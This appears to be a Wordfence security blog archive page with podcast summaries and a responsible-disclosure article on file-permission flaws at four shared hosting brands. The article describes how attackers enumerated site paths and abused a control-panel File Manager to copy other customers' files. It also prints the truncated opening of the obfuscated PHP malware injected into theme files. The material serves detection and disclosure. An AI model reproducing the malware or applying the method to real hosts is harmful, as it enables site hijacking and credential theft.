Category Archives: wordfence

Podcast Episode 21: New Plugin Vulns Exploited in the Wild, an Extortion Scam and the CBP Data Breach

This week, we discuss active exploitation of a plugin vulnerability in the wild, an extortion scam hitting numerous website owners, exposure of Industrial Control Systems to attackers as well as a CBP breach affecting travelers in the United States. We also talk about an email server vulnerability and what to do in a SIM port attack.

Here are approximate timestamps in case you want to jump around:
0:35 User Submitted Posts Plugin Vulnerability Seeing Attacks
4:20 An extortion scam is threatening website owners & how to protect your site
10:10 CBP breach of license plates and facial recognition data affecting US travelers
16:54 WordPress accessibility proposal
25:25 Google Cloud outage affects numerous services
26:59 State of Industrial Control Systems in Poland and Switzerland
36:00 Severe RCE in Exim mail transfer agent
37:09 What to do when SIM swapping happens to you

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Podcast Episode 20: Making Big Changes by Adopting Micro-Habits with Nathan Ingram

At WordCamp Orange County, Nathan Ingram participated in a unique business track discussion about failure, something with which most entrepreneurs are intimately familiar. Immediately after his talk, Nathan sat down with Mark for this interview. The conversation goes deep fast, as both Mark and Nathan share their thoughts about being an entrepreneur and how “the best lessons in life are learned from failure.” Nathan recently lost 50 pounds in two months and he talks about the micro-habits that he leveraged to make big successful changes with his health. This unique, honest and heartfelt interview has a number of lessons for those of us looking to optimize our business processes and find better balance in life.

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Podcast Episode 19: Service Vulnerabilities in Four Hosting Companies

In episode 19 we talk to Brad Haas about recently patched service vulnerabilities that impacted four popular hosting companies. We also talk about a new login security plugin for WordPress that we’ve launched. In the news we cover a wave of SIM swapping attacks hitting cryptocurrency users, NGINX vulnerabilities and recent data breaches affecting the personal information of millions of people.

Here are approximate timestamps in case you want to jump around:
0:40 Interview with Brad Haas on service vulnerability impacting four popular hosting companies
15:31 New Wordfence Login Security plugin
27:54 SIM port attacks hit cryptocurrency users
35:23 100,000 Australian’s private details exposed by Westpac PayID
39:44 Billing details for 11.9 million Quest Diagnostics customers exposed
43:47 NGINX RCE Vulnerabilities

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Introducing the Wordfence Login Security Plugin

Today we are excited to announce the release of a brand new plugin: Wordfence Login Security. This plugin is a completely standalone plugin and you don’t need to install the full version of Wordfence to take advantage of the specific security features included in it.

Wordfence Login Security is designed by our team to secure your login and authentication system. It’s worth noting that this plugin does not include the firewall, malware scanner and other features that the full Wordfence plugin comes with.

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Service Vulnerability: Four Popular Hosting Companies Fix NFS Permissions and Information Disclosure Problems

Last year, we published two disclosures of service vulnerabilities on hosting platforms. The first one included a trio of brands: Hostway, Momentous, and Paragon Group. The second was for MelbourneIT. In all cases, we were happy to report that the affected companies took our disclosures seriously and moved quickly to fix the problems.

Today we’re announcing a similar disclosure for several brands owned by Endurance International Group, including iPage, FatCow, PowWeb, and NetFirms. A pair of vulnerabilities on these platforms allowed attackers to tamper with customers’ databases directly, without actually accessing their websites. Following our Vulnerability Disclosure Policy, we privately disclosed these problems to the Endurance team. Their response was immediate and exemplary: they communicated with us in order to understand the problems, activated their incident response team to conduct triage, implemented hotfixes within days, and implemented full fixes soon after. Their actions showed solid commitment to their customers’ security.

Attacks and Investigation

Our Security Services Team noticed a recent trend in customers whose sites were hosted on the affected platforms. An administrator account suddenly appeared in the sites, and attackers logged into that account and added malware to the sites using the WordPress theme editor. The account had the same unusual username (“badminton”) in each case. The malware was obfuscated, but performed the same function on each affected site, hijacking site traffic from search engines and redirecting visitors to spam sites.

The platforms do make site access logs available to site owners, but the logs didn’t show any unusual activity on the days of the attacks. We found no malware other than what the attackers added in the theme files, no vulnerable themes or plugins, and generally nothing in common across all the affected sites except that they were on the same set of hosting services.

As in the service vulnerabilities we published last year, it appeared that the attackers had a way to steal database credentials for our customers’ sites, and then interact with the database directly in order to create their rogue administrator accounts. We started to investigate whether that would be possible on the platforms in question, and eventually we discovered two vulnerabilities which allowed it to happen.

The balance of this article is most appropriate for a technical audience. If you are a less technical reader you may want to skip down to the “What You Need To Do” section below.

File and Directory Information Exposure Vulnerability

After compromising a site, it is common for attackers to explore filesystems on the server in order to search for other vulnerabilities. On the affected servers, we discovered that the /opt/users directory contained subdirectories revealing the names of the user accounts for every website on the platform.

For example, a website “” on FatCow might run under the username moo.examplecom . There would be a corresponding directory for it at /opt/users/moo/e/x/moo.examplecom . Permissions on the /opt directory were lax enough that all the subdirectories could be listed by any user. So with a bit of scripting, it was possible to harvest the usernames for every website using FatCow shared hosting (and likewise the other affected brands). After our disclosure, permissions were fixed on /opt/users so that the contents can no longer be listed.

Insufficient Permissions Vulnerability

Four conditions existed that contributed to this vulnerability:

  1. Customer files are all stored on a shared file system.
  2. The full path to a user’s web root directory was public or could be guessed.
  3. All directories in the path to a customer’s site root directory were either world-traversable (the execute bit for ‘all users’ is 1) or group-traversable (the execute bit for ‘group’ is 1), and the sensitive files were world-readable (the read bit for ‘all users’ is 1) or group-readable (the read bit for ‘group’ is 1).
  4. An attacker could cause a program running in the group www to read files in arbitrary locations.

On the affected hosting platforms, all users’ files reside under a shared file system mounted at the directory /hermes . This satisfies the first condition of the Insufficient Permissions vulnerability.

The names of subdirectories in the full path to a site root directory follow a pattern. The full path for our fictional site might be: /hermes/walnaweb15a/b1234/moo.examplecom/ .

Ownership and permissions on the file system follow a specific structure for each of the directories in the full path:

/hermes – root:root 0755 – since it is world-readable, its contents can be listed

/hermes/walnaweb15a – root:root 0711 – contents cannot be listed except by root, but can be guessed

/hermes/walnaweb15a/b1234 – root:root 0711 –  contents cannot be listed except by root, but can be guessed

/hermes/walnaweb15a/b1234/moo.examplecom – moo.examplecom:www 0750 – contents can be listed by the owner or by any user belonging to the group “www”

The contents of directories like /hermes/walnaweb15a appear to follow a simple pattern – the letter “b” followed by one or more digits. Attackers would have noticed this by viewing the working directory of compromised sites, or even by searching Google for “/hermes/walnaweb” or similar directory names to view accidental full path disclosures. A script can easily find every subdirectory by checking for the existence of /hermes/walnaweb15a/b1, /hermes/walnaweb15a/b2, etc.

It is trickier but still possible to find the contents of the b* directories – this is where the File and Directory Information Exposure vulnerability would be used. Attackers could use scripting to iterate over each username and check for its existence in each b* directory. It’s inefficient, but the attacker could gradually build a large list of full paths to site root directories, satisfying the second condition of the Insufficient Permissions vulnerability.

As outlined above, the default permissions on directories and files on the affected platforms ensure that a program running in the group www can traverse into any user’s directory and read files in it, satisfying the third condition.

PHP scripts in any given user’s site run as that user and as the group cgiuser. As such, they don’t have permission to access other users’ files. However, the File Manager in the hosting control panel runs in the group www . Its operations seem to be restricted to a user’s own site root directory, but it can be manipulated to copy files from any location in the entire file system. So if an attacker crafts requests that point it to other users’ sensitive files, it will have sufficient privileges to copy those files into a directory under the attacker’s control.

After our disclosure, the flaws in the File Manager were patched, the platform administrators made architectural adjustments to address the permissions problems at a deeper level.


Before the vulnerabilities were fixed, the only workaround for site owners was to set permissions on any sensitive file to 0600. This was not ideal, as there are a number of ways the permissions could be reset as a side effect of scripts running on the website or server. Thankfully, the Endurance team worked very quickly to fix the problems. Our disclosure was on May 7. They replied after hours acknowledging the report, and worked with us during the following two weeks. Their hotfixes were in place by May 10, and permanent fixes finished by May 15.

What You Need To Do

If you use shared hosting on any of the brands we mentioned, use Wordfence to check your site for issues. If your site was exploited before the fixes, the attackers may have added malware which could still be present. Our customers had obfuscated code added at the top of the active theme’s header.php file, similar to this:

<?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["dd\x70\x68z\x67\x64gx"]="sl\x77k\x77i";${"\x47\x4cO\x42\x41L\x53"}["c\x7a\x66\x6dubkdo\x6a\x78"]="\x6c\x6f\x63\x61t\x69\x6fn";${"\x47\x4c\x4fB\x41LS"}["\x67\x64\x64e\x74\x62p\x75f\x65i"]="\x68t\x6d\x6c";${"\x47\x4cOB\x41\x4cS"}["\x77i\x64\x68\x6bv\x6da"]="\x73t\x72\x66";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x66s\x75\x71\x79\x6evw"]="b\x6f\x74";${"\x47\x4cOBAL\x53"}["w\x6c\x79\x63\x61\x76\x62\x71\x68\x6f\x6c\x75"]="cac\x68\x65";${"G\x4cO\x42\x41L\x53"}["ry\x68\x72ku\x6b"]="\x73\x63h\x65\x6d\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x74\x6a\x6bc\x64e\x65\x69w"]="\x73l\x77k\x77i\x32";${"G\x4cOBA\x4cS"}["\x79\x65\x64\x73\x67\x6ah\x69\x73\x67"]="\x73\x6c\x74l\x65\x69l\x73";

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